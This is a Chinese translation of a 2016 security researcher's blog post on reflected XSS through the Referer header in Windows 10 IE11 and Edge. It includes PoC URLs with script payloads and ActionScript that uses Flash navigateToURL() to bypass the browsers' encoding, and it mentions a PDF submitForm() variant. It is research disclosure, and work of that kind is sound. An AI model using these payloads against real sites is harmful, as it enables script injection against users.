原文鏈接: http://mksben.l0.cm/2016/10/xss-via-referrer.html

原作者:Masato Kinugawa

譯者:Holic (知道創宇404安全實驗室)

自從 Windows 10 發布周年更新版本后,微軟貌似在 IE11 和 Edge 上杜絕了一些 XSS 技巧。referrer的行為便是其中之一。

下面的這個頁面之間將 HTTP_REFERERdocument.referrer 寫進了頁面里面:

https://vulnerabledoma.in/xss_referrer

之前的IE/Edge版本并沒有編碼"<>字符,因此我們能直接利用以下的 PoC 施展 XSS 攻擊:

https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>

但自從 Windows 10 周年更新之后, IE11 和 Edge 瀏覽器對它進行了編碼。然后將會在頁面中得到以下編碼過的字符串:

HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E

太糟了。

當然使用 Win8.1/7 的 IE11 依然受影響。但我們難道不想在Win10上進行 XSS 嗎?

現在我來分享一個小技巧,在最新版 Win10 Edge/IE11 上利用 referrer 進行 XSS。

非常簡單的技巧。如果發送請求來自于Flash的navigateToURL()方法,那么你將能很輕易的在 referrer 中包含"<>字符串,就像下面的方法:

https://l0.cm/xss_referrer.swf?<script>alert(1)</script>

這兒是相應的 ActionScript 代碼:

package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
   var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
   navigateToURL(url, "_self");
  }
 }
}

正如所見的訪問結果,我們能通過 Referrer請求頭造成XSS。但很遺憾不能通過 document.referrer 屬性進行XSS,因為它是空的。Dang :P

參考內容:我還能通過 Acrobat API 中 JavaScript 的 submitForm() method 復現此漏洞。

我在使用 Adobe Reader plugin 的 Win10 IE11 確認了此漏洞的存在。

PoC在這兒:

https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>

看來并沒有被考慮到通過插件發起請求的情況。

就醬,在一些場景或許會有幫助吧。 Thanks!


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/61/